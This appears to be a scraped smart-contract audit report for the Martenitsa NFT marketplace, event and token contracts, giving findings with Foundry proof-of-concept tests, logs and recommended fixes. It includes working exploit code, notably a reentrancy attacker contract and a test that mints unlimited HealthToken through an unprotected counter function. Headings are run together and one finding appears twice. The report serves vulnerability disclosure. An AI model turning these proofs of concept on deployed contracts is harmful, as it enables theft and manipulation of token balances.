MartenitsaToken::updateCountMartenitsaTokensOwner function, causing buyer to mint unlimited HealthToken.MartenitsaMarketplace::collectRewardsMartenitsaMarketplace::buyMartenitsa allows for unrecoverable overpaymentsMartenitsaMarketplace::collectRewardsMartenitsaMarketplace::buyMartenitsa,malicious producer can retain the listing after selling the martenitsa.MartenitsaEvent Causes Previous Producers and Produced NFTs to be Ignored During EventMartenitsaEvent::stopEvent function prevents users from participating in future eventsMartenitsaMarketplace::getListing reverting due to token bought leads to winner of MartenitsaVoting never receiving their HealthToken rewardMartenitsaMarketplace::listMartenitsaForSale allows owners to list their NFTs without providing approval for the marketplace to handle the tokenMartenitsaVoting::announceWinner function does not check if there are no votes, causing a participant to become a winner and receive a HealthTokenMartenitsaToken::createMartenitsa design @param is not properly checked, producer can create a martenitsa token with an empty string as design or with design without any meaningMartenitsaToken::updateCountMartenitsaTokensOwner function, causing buyer to mint unlimited HealthToken.Submitted by Keyword, unnamed, jenniferSun, Vesper, BadalSharma, pacelliv, 0x77, robertodf99, Vasquez, ironside, 0xE79e, seeu, Bluedragon, shikhar229169, 0xShiki, lian886, paprikrumplikas, Aizen, f3d0ss, 0xShitgem, kostov, uba7, Turetos, 0x6a70, Josh4324, lefg, mirkopezo, CarlosAlbaWork, whoamins, kkontheway, gladiator111, 4rdiii, naman1729, azanux, galturok, blackSquirrel, merv, n0kto, CodexBugmeNot, Coffee, oldguard, elbarunitech, Naomi, feder, 0x0bserver, Louis, Zkillua, 4th05, richuak, 0xjarix, Nocturnus. Selected submission by: Bluedragon.
The function MartenitsaToken::updateCountMartenitsaTokensOwner allows an external caller to arbitrarily increase or decrease the MartenitsaToken::countMartenitsaTokensOwner mapping for a given owner address. This can lead to unintended countMartenitsaTokensOwner mapping manipulation. The MartenitsaMarketPlace::collectReward function depends on the countMartenitsaTokensOwner mapping to mint HealthToken to the buyer. If a buyer has 3 different token they can mint a HealthToken as countMartenitsaTokensOwner mapping can be manipulated, the buyer can mint an unlimited amount of HealthToken.
@> function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}
function collectReward() external {
require(!martenitsaToken.isProducer(msg.sender), "You are producer and not eligible for a reward!");
@> uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
uint256 amountRewards = (count / requiredMartenitsaTokens) - _collectedRewards[msg.sender];
if (amountRewards > 0) {
_collectedRewards[msg.sender] = amountRewards;
healthToken.distributeHealthToken(msg.sender, amountRewards);
}
}
As the MartenitsaToken::countMartenitsaTokensOwner can be manipulated by a arbitaray external call, a buyer can arbitrarily increase the countMartenitsaTokensOwner mapping count and mint an unlimited amount of HealthToken by calling the MartenitsaMarketPlace::collectReward function. This can lead high HealthToken supply and devaluation of the token's utility and value.
MartenitsaToken::updateCountMartenitsaTokensOwner function to increase the countMartenitsaTokensOwner mapping count.MartenitsaMarketPlace::collectReward function to mint an unlimited amount of HealthToken.Proof Of Code:
function test_BuyerCanMintUnlimitedHealthToken() public {
// set attacker
address attacker = makeAddr("attacker");
// increase the count of martenitsaTokensOwner
vm.startPrank(address(attacker));
for (uint256 i = 0; i < 6; i++) {
martenitsaToken.updateCountMartenitsaTokensOwner(address(attacker), "add");
}
console.log("The count of martenitsaTokensOwner: ", martenitsaToken.getCountMartenitsaTokensOwner(attacker));
vm.stopPrank();
// Call the collectReward function
vm.startPrank(address(attacker));
marketplace.collectReward();
console.log("The balance of the attacker after collecting reward: ", healthToken.balanceOf(attacker));
vm.stopPrank();
}
Logs:
The count of martenitsaTokensOwner: 6
The balance of the attacker after collecting reward: 2000000000000000000
Recommended Mitigation:
MartenitsaToken::updateCountMartenitsaTokensOwner function to only authorized entities, such as the contract owner or a designated role.MartenitsaToken::countMartenitsaTokensOwner mapping directly and instead update the mapping through other functions that perform appropriate validation and authorization checks.MartenitsaToken::countMartenitsaTokensOwner mapping.MartenitsaMarketplace::collectRewardsSubmitted by Keyword, pacelliv, 0xE79e, robertodf99, ironside, Pelz, tobezzi, shikhar229169, lian886, paprikrumplikas, lefg, naman1729, gladiator111, 4rdiii, n0kto, CodexBugmeNot, 0x0bserver, Zkillua, richuak, 0xjarix, feder. Selected submission by: paprikrumplikas.
MartenitsaMarketplace::collectRewards contains a logic error that allows users to collect more healthToken rewards than they are entitled to.
MartentisaToken::collectReward is supposed to allow non-producer users to collect healthToken rewards for every three different Martenitsa NFTs they own. However, the function logic does not follow this intention. The function does not properly account for rewards that have already been collected, nor does it adequately update the internal state to reflect the number of rewards that should be available based on current NFT ownership.
In the provided test, a user acquires five NFTs and collects their corresponding rewards (1 healthToken). However, after receiving a sixth NFT, they are able to repeatedly collect rewards for the same NFTs without any limitations.
function testRewardsLogicIsIncorrect() public {
address user = makeAddr("user");
// jack gives 5 NFTs to user as a gift
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.approve(address(marketplace), 0);
martenitsaToken.approve(address(marketplace), 1);
martenitsaToken.approve(address(marketplace), 2);
martenitsaToken.approve(address(marketplace), 3);
martenitsaToken.approve(address(marketplace), 4);
marketplace.makePresent(user, 0);
marketplace.makePresent(user, 1);
marketplace.makePresent(user, 2);
marketplace.makePresent(user, 3);
marketplace.makePresent(user, 4);
vm.stopPrank();
assert(martenitsaToken.ownerOf(0) == user);
// user collects rewards for 3 NFTs
vm.prank(user);
marketplace.collectReward();
// jack gives a 6th NFT to the user as present
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.approve(address(marketplace), 5);
marketplace.makePresent(user, 5);
vm.stopPrank();
// user can collect more rewards than eligible for
for (uint256 i = 0; i < 100; i++) {
vm.prank(user);
marketplace.collectReward();
}
assert(healthToken.balanceOf(user) > 2);
console.log("User's health token balance: %e", healthToken.balanceOf(user));
}
Note that there is an additional, lot less obvious flaw. Confirmed by the protocol owner, the real goal is to ensure that rewards are granted based on unique sets of three NFTs, where reusing any NFT from a previously rewarded set disqualifies the new set from earning another reward (for the same user). I.e. all of the following must be satisfied for new users (who has not claimed any rewards before):
userA can claim 1 healthToken for any set of 3 unique NFTs, e.g. for tokenIdSet_1=[1,2,3], and then-- userA cannot claim another healthToken with any set of 3 unique NFTs that share any elements with tokenIdSet_1. E.g. cannot claim another reward with tokenIdSet_2=[1,4,5] or tokenIdSet_3=[4,5,100].
-- userA can claim another healthToken with any set of 3 unique NFTs that DO NOT share any elements with tokenIdSet_1. E.g. they can claim with tokenIdSet_4=[4,5,6] or tokenIdSet_5=[x,y,z] where x!=1, x!=2, x!=3, y!=1, y!=2, y!=3, z!=1, z!=2, z!=3.
-- userB or any other user can claim 1 healthToken with tokenIdSet_1=[1,2,3].
userA claims rewards for tokenIdSet_1=[1,2,3], then sells or gives away these 3 NFTs and acquires 3 new ones and tries to claim once again).Manual review, Foundry.
MartenitsaMarketplace by correcting the reward tracking logic to accurately count already paid rewards as follows: function collectReward() external {
require(!martenitsaToken.isProducer(msg.sender), "You are producer and not eligible for a reward!");
uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
uint256 amountRewards = (count / requiredMartenitsaTokens) - _collectedRewards[msg.sender];
if (amountRewards > 0) {
- _collectedRewards[msg.sender] = amountRewards;
+ _collectedRewards[msg.sender] += amountRewards;
healthToken.distributeHealthToken(msg.sender, amountRewards);
}
}
With this partial fix users are rewarded based on the net increase in the number of complete sets (3 NFTs) they hold. Rewards can only be claimed for new sets that increase the user's holdings beyond previously rewarded levels. It effectively prevents exploiting the rewards system by recalculating eligible sets from scratch each time, thus aligning reward claims with actual holdings growth.
MartenitsaMarketplace, implement set-based tracking to ensure no NFT is reused in multiple reward claims:+ import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
...
contract MartenitsaMarketplace {
+ using EnumerableSet for EnumerableSet.UintSet;
+ mapping(address => EnumerableSet.UintSet) private claimedTokens;
+ function claimReward(uint256[] calldata tokenIds) external {
+ require(tokenIds.length == 3, "Must provide exactly three tokens");
+ require(areTokensUnique(tokenIds), "Tokens must be unique and unclaimed");
// Mark tokens as claimed
+ for (uint256 i = 0; i < tokenIds.length; i++) {
+ claimedTokens[msg.sender].add(tokenIds[i]);
+ }
// Logic to distribute rewards
+ distributeReward(msg.sender);
+ }
+ function areTokensUnique(uint256[] memory tokenIds) private view returns (bool) {
+ for (uint256 i = 0; i < tokenIds.length; i++) {
+ if (claimedTokens[msg.sender].contains(tokenIds[i])) {
+ return false;
+ }
+ }
+ return true;
+ }
+ function distributeReward(address recipient) private {
+ healthToken.distributeHealthToken(msg.sender, 1);
+ }
+}
MartenitsaMarketplace::buyMartenitsa allows for unrecoverable overpaymentsSubmitted by funkornaut, Keyword, jenniferSun, Bluedragon, Vasquez, pacelliv, Pelz, kkontheway, lian886, Turetos, lefg, mirkopezo, shikhar229169, kostov, paprikrumplikas, n0kto, CodexBugmeNot, azanux, Louis, 0x0bserver. Selected submission by: paprikrumplikas.
MartenitsaMarketplace::buyMartenitsa lets users to send more ETH to the contract than the price of the Martenitsa they intend to buy. These extra funds are not returned to the buyer but are kept in the contract which has no method for withdrawing ETH.
MartenitsaMarketplace::buyMartenitsa is designed to enable users to buy listed Martenitsa NFTs. When calling the function, users are supposed to send an ETH amount with the transaction to cover the price of the selected NFT.
MartenitsaMarketplace::buyMartenitsa accepts amounts higher than the NFT price, but is not prepared to handle the extra funds: nor does it refund the buyer, neither does it have a mechanism for withdrawing such funds.
The code below demonstrates that the contract accepts amounts higher than the NFT price.
function testEtherStuckInContract() public {
address user = makeAddr("user");
uint256 userEthBalance = 2 ether;
uint256 price = 1 ether;
// jack produces an NFT, lists it
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.approve(address(marketplace), 0);
marketplace.listMartenitsaForSale(0, price);
vm.stopPrank();
// user sends twice as much ETH than the price of the NFT
vm.deal(user, userEthBalance);
vm.startPrank(user);
healthToken.approve(address(marketplace), userEthBalance);
marketplace.buyMartenitsa{value: userEthBalance}(0);
vm.stopPrank();
assert(user.balance == 0);
assert(jack.balance == price);
assert(address(marketplace).balance == userEthBalance - price);
}
-- buyer submits the transaction to buy an NFT. At this point, the transaction value matches the NFT price.
-- seller submits a transaction to lower the price of the NFT. This happens about the same time when the buyer submits its transaction.
-- if the seller's transaction is added the blockchain earlier than the buyer's, the buyer will unavoidably overpay compared to the reduced price.
Manual review, Foundry.
There are a few possible solutions, including:
MartenitsaMarketplace::buyMartenitsa to reject payments that exceed the NFT price, orFor simplicity and fairness, consider implementing the first option by introducing the following modification:
function buyMartenitsa(uint256 tokenId) external payable {
Listing memory listing = tokenIdToListing[tokenId];
require(listing.forSale, "Token is not listed for sale");
- require(msg.value >= listing.price, "Insufficient funds");
+ require(msg.value == listing.price, "Payment must exactly match the listing price");
// rest of the logic
...
}
MartenitsaMarketplace::collectRewardsSubmitted by Vesper, funkornaut, paprikrumplikas, mirkopezo, 4th05. Selected submission by: paprikrumplikas.
MartenitsaMarketplace::collectRewards contains a logic error that allows users to collect more healthToken rewards than they are entitled to.
MartentisaToken::collectReward is supposed to allow non-producer users to collect healthToken rewards for every three different Martenitsa NFTs they own. However, the function logic does not follow this intention. The function does not properly account for rewards that have already been collected, nor does it adequately update the internal state to reflect the number of rewards that should be available based on current NFT ownership.
In the provided test, a user acquires five NFTs and collects their corresponding rewards (1 healthToken). However, after receiving a sixth NFT, they are able to repeatedly collect rewards for the same NFTs without any limitations.
function testRewardsLogicIsIncorrect() public {
address user = makeAddr("user");
// jack gives 5 NFTs to user as a gift
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.approve(address(marketplace), 0);
martenitsaToken.approve(address(marketplace), 1);
martenitsaToken.approve(address(marketplace), 2);
martenitsaToken.approve(address(marketplace), 3);
martenitsaToken.approve(address(marketplace), 4);
marketplace.makePresent(user, 0);
marketplace.makePresent(user, 1);
marketplace.makePresent(user, 2);
marketplace.makePresent(user, 3);
marketplace.makePresent(user, 4);
vm.stopPrank();
assert(martenitsaToken.ownerOf(0) == user);
// user collects rewards for 3 NFTs
vm.prank(user);
marketplace.collectReward();
// jack gives a 6th NFT to the user as present
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.approve(address(marketplace), 5);
marketplace.makePresent(user, 5);
vm.stopPrank();
// user can collect more rewards than eligible for
for (uint256 i = 0; i < 100; i++) {
vm.prank(user);
marketplace.collectReward();
}
assert(healthToken.balanceOf(user) > 2);
console.log("User's health token balance: %e", healthToken.balanceOf(user));
}
Note that there is an additional, lot less obvious flaw. Confirmed by the protocol owner, the real goal is to ensure that rewards are granted based on unique sets of three NFTs, where reusing any NFT from a previously rewarded set disqualifies the new set from earning another reward (for the same user). I.e. all of the following must be satisfied for new users (who has not claimed any rewards before):
userA can claim 1 healthToken for any set of 3 unique NFTs, e.g. for tokenIdSet_1=[1,2,3], and then-- userA cannot claim another healthToken with any set of 3 unique NFTs that share any elements with tokenIdSet_1. E.g. cannot claim another reward with tokenIdSet_2=[1,4,5] or tokenIdSet_3=[4,5,100].
-- userA can claim another healthToken with any set of 3 unique NFTs that DO NOT share any elements with tokenIdSet_1. E.g. they can claim with tokenIdSet_4=[4,5,6] or tokenIdSet_5=[x,y,z] where x!=1, x!=2, x!=3, y!=1, y!=2, y!=3, z!=1, z!=2, z!=3.
-- userB or any other user can claim 1 healthToken with tokenIdSet_1=[1,2,3].
userA claims rewards for tokenIdSet_1=[1,2,3], then sells or gives away these 3 NFTs and acquires 3 new ones and tries to claim once again).Manual review, Foundry.
MartenitsaMarketplace by correcting the reward tracking logic to accurately count already paid rewards as follows: function collectReward() external {
require(!martenitsaToken.isProducer(msg.sender), "You are producer and not eligible for a reward!");
uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
uint256 amountRewards = (count / requiredMartenitsaTokens) - _collectedRewards[msg.sender];
if (amountRewards > 0) {
- _collectedRewards[msg.sender] = amountRewards;
+ _collectedRewards[msg.sender] += amountRewards;
healthToken.distributeHealthToken(msg.sender, amountRewards);
}
}
With this partial fix users are rewarded based on the net increase in the number of complete sets (3 NFTs) they hold. Rewards can only be claimed for new sets that increase the user's holdings beyond previously rewarded levels. It effectively prevents exploiting the rewards system by recalculating eligible sets from scratch each time, thus aligning reward claims with actual holdings growth.
MartenitsaMarketplace, implement set-based tracking to ensure no NFT is reused in multiple reward claims:+ import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
...
contract MartenitsaMarketplace {
+ using EnumerableSet for EnumerableSet.UintSet;
+ mapping(address => EnumerableSet.UintSet) private claimedTokens;
+ function claimReward(uint256[] calldata tokenIds) external {
+ require(tokenIds.length == 3, "Must provide exactly three tokens");
+ require(areTokensUnique(tokenIds), "Tokens must be unique and unclaimed");
// Mark tokens as claimed
+ for (uint256 i = 0; i < tokenIds.length; i++) {
+ claimedTokens[msg.sender].add(tokenIds[i]);
+ }
// Logic to distribute rewards
+ distributeReward(msg.sender);
+ }
+ function areTokensUnique(uint256[] memory tokenIds) private view returns (bool) {
+ for (uint256 i = 0; i < tokenIds.length; i++) {
+ if (claimedTokens[msg.sender].contains(tokenIds[i])) {
+ return false;
+ }
+ }
+ return true;
+ }
+ function distributeReward(address recipient) private {
+ healthToken.distributeHealthToken(msg.sender, 1);
+ }
+}
MartenitsaMarketplace::buyMartenitsa,malicious producer can retain the listing after selling the martenitsa.Submitted by f3d0ss, 0xm00k, CodexBugmeNot, paprikrumplikas. Selected submission by: 0xm00k.
MartenitsaMarketplace::buyMartenitsa is vulnerable to reentrancy. A malicious Producer can exploit this vulnerability to retain the listing after selling the martenitsa.
When a buyer initiates a purchase by calling the MartenitsaMarketplace::buyMartenitsa function to acquire a token, the funds are transferred to the seller using the command (bool sent, ) = seller.call{value: salePrice}("");. This function sends the payment before transferring ownership of the token, which happens later in the process.
This sequence allows for a potential security issue if the seller is a malicious contract. Specifically, the malicious seller could immediately re-list the same martenitsa for sale by calling the MartenitsaMarketplace::listMartenitsaForSale function. Since the token ownership transfer to the buyer occurs after the funds have been sent, the seller technically still owns the token at the time they attempt to re-list it.
This is problematic because the re-listing function includes a security check, require(msg.sender == martenitsaToken.ownerOf(tokenId), "You do not own this token"), designed to confirm that the seller actually owns the token. However, since the token transfer has not yet occurred, the check will pass, allowing the malicious seller to list the token again even though they are in the process of selling it to the buyer.
function buyMartenitsa(uint256 tokenId) external payable {
Listing memory listing = tokenIdToListing[tokenId];
require(listing.forSale, "Token is not listed for sale");
require(msg.value >= listing.price, "Insufficient funds");
address seller = listing.seller;
address buyer = msg.sender;
uint256 salePrice = listing.price;
martenitsaToken.updateCountMartenitsaTokensOwner(buyer, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(seller, "sub");
// Clear the listing
delete tokenIdToListing[tokenId];
emit MartenitsaSold(tokenId, buyer, salePrice);
// Transfer funds to seller
@> (bool sent, ) = seller.call{value: salePrice}("");
require(sent, "Failed to send Ether");
// Transfer the token to the buyer
martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
}
Steps for the attack:
The attacker creates a malicious contract that implements the IERC721Receiver interface and the receive function.
The attacker creates a martenitsa token and lists it for sale.
When the buyer calls the MartenitsaMarketplace::buyMartenitsa function, the attacker's contract is called, which in turn calls the MartenitsaMarketplace::listMartenitsaForSale function to re-list the martenitsa token.
The attacker retains the listing after selling the martenitsa token.
Attacker contract:
interface IMartenitsaMarketplace {
function listMartenitsaForSale(uint256 tokenId, uint256 price) external;
function buyMartenitsa(uint256 tokenId) external payable;
function makePresent(address to, uint256 tokenId) external;
function martenitsaToken() external view returns (address);
}
interface IMartenitsaToken {
function createMartenitsa(string memory design) external;
function approve(address to, uint256 tokenId) external;
function ownerOf(uint256 tokenId) external view returns (address);
function getCountMartenitsaTokensOwner(
address owner
) external view returns (uint256);
}
contract ReentrancyAttackPOC is IERC721Receiver {
IMartenitsaMarketplace public marketplace;
constructor(address _marketplace) {
marketplace = IMartenitsaMarketplace(_marketplace);
}
function createMartenitsa() public {
IMartenitsaToken(marketplace.martenitsaToken()).createMartenitsa(
"bracelet"
);
}
function listMartenitsaForSale(uint256 tokenId, uint256 price) public {
IMartenitsaToken(marketplace.martenitsaToken()).approve(
address(marketplace),
tokenId
);
marketplace.listMartenitsaForSale(tokenId, price);
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
receive() external payable {
listMartenitsaForSale(0, 1 wei);
}
}
Add this test to MartenitsaMarketplace.test.sol:
function testPOC() public {
ReentrancyAttackPOC attack = new ReentrancyAttackPOC(
address(marketplace)
);
address[] memory _producers = new address[](1);
_producers[0] = address(attack);
address buyer = makeAddr("buyer");
martenitsaToken.setProducers(_producers);
attack.createMartenitsa();
attack.listMartenitsaForSale(0, 1 wei);
vm.deal(buyer, 1 wei);
vm.prank(buyer);
marketplace.buyMartenitsa{value: 1 wei}(0);
list = marketplace.getListing(0);
assertEq(list.forSale, true);
}
We can see that the list.forSale is still true after the transaction, which means the attacker has retained the listing after selling the martenitsa token.
Test output:
run forge test --mt testPOC and the result should PASS:
Ran 1 test for test/MartenitsaMarketplace.t.sol:MartenitsaMarketplace
[PASS] testPOC() (gas: 725850)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.19ms (660.92µs CPU time)
A malicious Producer can exploit this vulnerability to retain the listing after selling the martenitsa and also the attacker can still get votes on the listing even after selling the martenitsa.
Foundry and Manual review.
Transfer the token to the buyer before sending the funds to the seller to prevent reentrancy attacks.
function buyMartenitsa(uint256 tokenId) external payable {
Listing memory listing = tokenIdToListing[tokenId];
require(listing.forSale, "Token is not listed for sale");
require(msg.value >= listing.price, "Insufficient funds");
address seller = listing.seller;
address buyer = msg.sender;
uint256 salePrice = listing.price;
martenitsaToken.updateCountMartenitsaTokensOwner(buyer, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(seller, "sub");
// Clear the listing
delete tokenIdToListing[tokenId];
emit MartenitsaSold(tokenId, buyer, salePrice);
// Transfer the token to the buyer
+ martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
// Transfer funds to seller
(bool sent, ) = seller.call{value: salePrice}("");
require(sent, "Failed to send Ether");
- martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
}
run forge test --mt testPOC and the result should FAIL:
Failing tests:
Encountered 1 failing test in test/MartenitsaMarketplace.t.sol:MartenitsaMarketplace
[FAIL. Reason: revert: Failed to send Ether] testPOC() (gas: 680204)
MartenitsaEvent Causes Previous Producers and Produced NFTs to be Ignored During EventSubmitted by jenniferSun, pacelliv, 0xE79e, lian886, Aizen, shikhar229169, Josh4324, paprikrumplikas, mirkopezo, 4rdiii, CodexBugmeNot, Coffee, MrCrowNFT, 0x0bserver. Selected submission by: 4rdiii.
https://github.com/Cyfrin/2024-04-Baba-Marta/blob/main/src/MartenitsaEvent.sol
Description: the MartenitsaEvent contract inherits the MartenitsaToken contract so it itself is an ERC721 token which introduces its own state variables such as _nextTokenId , producers, countMartenitsaTokensOwner, isProducer, tokenDesigns which ignores previous values stored in the main MartenitsaToken contract.
@> contract MartenitsaEvent is MartenitsaToken {
HealthToken private _healthToken;
uint256 public eventStartTime;
.
.
.
}
This approach is not a design choice, as evidenced by the deployment script (BaseTest), where a new MartenitsaToken is used as the ERC721 token instead of MartenitsaEvent. Additionally, the marketplace uses the Token contract, not the Event one, as its token input.
contract BaseTest is Test {
MartenitsaToken public martenitsaToken;
HealthToken public healthToken;
MartenitsaMarketplace public marketplace;
MartenitsaVoting public voting;
MartenitsaMarketplace.Listing list;
MartenitsaEvent public martenitsaEvent;
.
.
.
function setUp() public {
jack = makeAddr("jack");
chasy = makeAddr("chasy");
bob = makeAddr("bob");
producers.push(jack);
producers.push(chasy);
vm.deal(bob, 5 ether);
@> martenitsaToken = new MartenitsaToken();
healthToken = new HealthToken();
@> marketplace = new MartenitsaMarketplace(address(healthToken), address(martenitsaToken));
voting = new MartenitsaVoting(address(marketplace), address(healthToken));
@> martenitsaEvent = new MartenitsaEvent(address(healthToken));
healthToken.setMarketAndVotingAddress(address(marketplace), address(voting));
martenitsaToken.setProducers(producers);
}
.
.
.
}
Impact: This issue leads to several problems for the event contract:
MartenitsaEvent::joinEvent uses the MartenitsaEvent::isProducer mapping to check if the user is not a producer. However, this mapping is empty, and previous producers are in MartenitsaToken::isProducer. If producers buy a HealthToken, they can enter the event, which is not crucial for project functionality but is against documentation.MartenitsaEvent::joinEvent uses the MartenitsaEvent::_addProducer() function to add users as producers during event time, allowing them to create new NFTs. However, users cannot mint NFTs if they call MartenitsaToken::createMartenitsa; it will fail because they are not a producer in this contract. If they accidentally call MartenitsaEvent::createMartenitsa, there will be two instances of the ERC721 contract with the same token IDs.MartenitsaEvent::createMartenitsa, they wont be able to list them to market during the event period.Proof of Concept: To prove this concept, add the following test to the existing test suite:
HealthToken.MartenitsaEvent::createMartenitsa but is unable to list it to MarketPlace.MartenitsaToken::createMartenitsa. function testInheritenceIsWrong2() public activeEvent eligibleForReward {
// activeEvent and eligibleForReward ensures steps 1 and 2
// so bob has 3 nfts now and the event is started
vm.startPrank(bob);
marketplace.collectReward(); // mints healthtoken
healthToken.approve(address(martenitsaEvent), 1 ether);
martenitsaEvent.joinEvent(); // joins the event and becomes producer step 3
//creating in token contract fails / step 5
vm.expectRevert("You are not a producer!");
martenitsaToken.createMartenitsa("bracelets");
assertEq(martenitsaToken.balanceOf(bob), 3); // still has 3 original nfts in this contract
//creating in event contract succeeds / step 4
martenitsaEvent.createMartenitsa("bracelets");
assertEq(martenitsaEvent.balanceOf(bob), 1); // just has 1 new nft in this contract
// bob is unable to list his newly created NFT
vm.expectRevert("You are not a producer!");
marketplace.listMartenitsaForSale(0, 1 ether);
}
Recommended Mitigation: Instead of inheriting the Token contract, get the address as input and create it as a state variable in the constructor. This way, the ERC721 contract will be the same for all NFTs, whether created during or before the event.
here is a possible recomendation:
-contract MartenitsaEvent is MartenitsaToken {
+contract MartenitsaEvent {
HealthToken private _healthToken;
+ MartenitsaToken private _martenitsaToken;
uint256 public eventStartTime;
uint256 public eventDuration;
uint256 public eventEndTime;
uint256 public healthTokenRequirement = 10 ** 18;
address[] public participants;
mapping(address => bool) private _participants;
event EventStarted(uint256 indexed startTime, uint256 indexed eventEndTime);
event ParticipantJoined(address indexed participant);
- constructor(address healthToken) onlyOwner {
+ constructor(address healthToken, address martenitsaToken) onlyOwner {
_healthToken = HealthToken(healthToken);
+ _martenitsaToken = MartenitsaToken(martenitsaToken)
}
/**
* @notice Function to start an event.
* @param duration The duration of the event.
*/
function startEvent(uint256 duration) external onlyOwner {
eventStartTime = block.timestamp;
eventDuration = duration;
eventEndTime = eventStartTime + duration;
emit EventStarted(eventStartTime, eventEndTime);
}
/**
* @notice Function to join to event. Each participant is a producer during the event.
* @notice The event should be active and the caller should not be joined already.
* @notice Producers are not allowed to participate.
*/
function joinEvent() external {
require(block.timestamp < eventEndTime, "Event has ended");
require(
!_participants[msg.sender],
"You have already joined the event"
);
require(
- !isProducer[msg.sender],
+ !_martenitsaToken.isProducer(msg.sender),
"Producers are not allowed to participate"
);
require(
_healthToken.balanceOf(msg.sender) >= healthTokenRequirement,
"Insufficient HealthToken balance"
);
_participants[msg.sender] = true;
participants.push(msg.sender);
emit ParticipantJoined(msg.sender);
bool success = _healthToken.transferFrom(
msg.sender,
address(this),
healthTokenRequirement
);
require(success, "The transfer is not successful");
- _addProducer(msg.sender);
+ _martenitsaToken._addProducer(msg.sender);
}
/**
* @notice Function to remove the producer role of the participants after the event is ended.
*/
function stopEvent() external onlyOwner {
require(block.timestamp >= eventEndTime, "Event is not ended");
for (uint256 i = 0; i < participants.length; i++) {
isProducer[participants[i]] = false;
}
}
/**
* @notice Function to get information if a given address is a participant in the event.
*/
function getParticipant(address participant) external view returns (bool) {
return _participants[participant];
}
/**
* @notice Function to add a new producer.
* @param _producer The address of the new producer.
*/
+ // remove this function from here and add it to Token Contract
- function _addProducer(address _producer) internal {
- isProducer[_producer] = true;
- producers.push(_producer);
- }
}
MartenitsaEvent::stopEvent function prevents users from participating in future eventsSubmitted by jenniferSun, ironside, 0xE79e, Turetos, shikhar229169, mirkopezo, seeu, naman1729, n0kto, Coffee, MrCrowNFT, BadalSharma, paprikrumplikas, 0x0bserver, Nocturnus. Selected submission by: Turetos.
The MartenitsaEvent contract manages event logic within the protocol, primarily through functions like startEvent, joinEvent, and stopEvent.
The joinEvent function records participants and producers upon user entry to an event. However, the issue arises in the stopEvent function,
where proper reversal of changes made in joinEvent is not handled correctly.
While joinEvent mandates that users are not already participants, this status is not reset for future events during stopEvent execution,
rendering it impossible for a user to join subsequent events
The function MartenitsaEvent::joinEvent updates a list of _participants and invokes the _addProducer function, temporarily
adding the user as a producer
function joinEvent() external {
require(block.timestamp < eventEndTime, "Event has ended");
@> require(!_participants[msg.sender], "You have already joined the event");
require(!isProducer[msg.sender], "Producers are not allowed to participate");
require(_healthToken.balanceOf(msg.sender) >= healthTokenRequirement, "Insufficient HealthToken balance");
_participants[msg.sender] = true;
participants.push(msg.sender);
emit ParticipantJoined(msg.sender);
(bool success) = _healthToken.transferFrom(msg.sender, address(this), healthTokenRequirement);
require(success, "The transfer is not successful");
_addProducer(msg.sender);
}
When it's time to conclude the event, the stopEvent function is invoked. However, it's noted that only the producer role is removed,
while the participants remain unaffected.
function stopEvent() external onlyOwner {
require(block.timestamp >= eventEndTime, "Event is not ended");
for (uint256 i = 0; i < participants.length; i++) {
@> //@Audit: participants remain unchanged, only producer role
isProducer[participants[i]] = false;
}
}
A test is included to demonstrate a user joining an event, then attempting to join another event after the first one has concluded.
This results in a revert of the joinEvent function due to the requirement check: require(!_participants[msg.sender], "You have already joined the event");
function testUserLockedEvent() public {
//Give some health tokens so can join multiple events
vm.startPrank(address(marketplace));
healthToken.distributeHealthToken(bob, 10 * 10**18);
vm.stopPrank();
//First event
martenitsaEvent.startEvent(1 days);
vm.startPrank(bob);
healthToken.approve(address(martenitsaEvent), 10 ** 18);
martenitsaEvent.joinEvent();
vm.warp(block.timestamp + 1 days + 1);
vm.stopPrank();
martenitsaEvent.stopEvent();
//Time passes between events
vm.warp(block.timestamp + 10 days);
//Second event
martenitsaEvent.startEvent(1 days);
vm.startPrank(bob);
marketplace.collectReward();
healthToken.approve(address(martenitsaEvent), 10 ** 18);
martenitsaEvent.joinEvent();
vm.stopPrank();
}
Output
Failing tests:
Encountered 1 failing test in test/MartenitsaMarketplace.t.sol:MartenitsaMarketplace
[FAIL. Reason: revert: You have already joined the event] testUserLockedEvent() (gas: 377973)
Users who have already participated in an event are unable to participate in future events.
Foundry and manual review
Removing participants from the list ensures they can join again in future events.
function stopEvent() external onlyOwner {
require(block.timestamp >= eventEndTime, "Event is not ended");
for (uint256 i = 0; i < participants.length; i++) {
isProducer[participants[i]] = false;
++ _participants[participants[i]] = false;
}
}
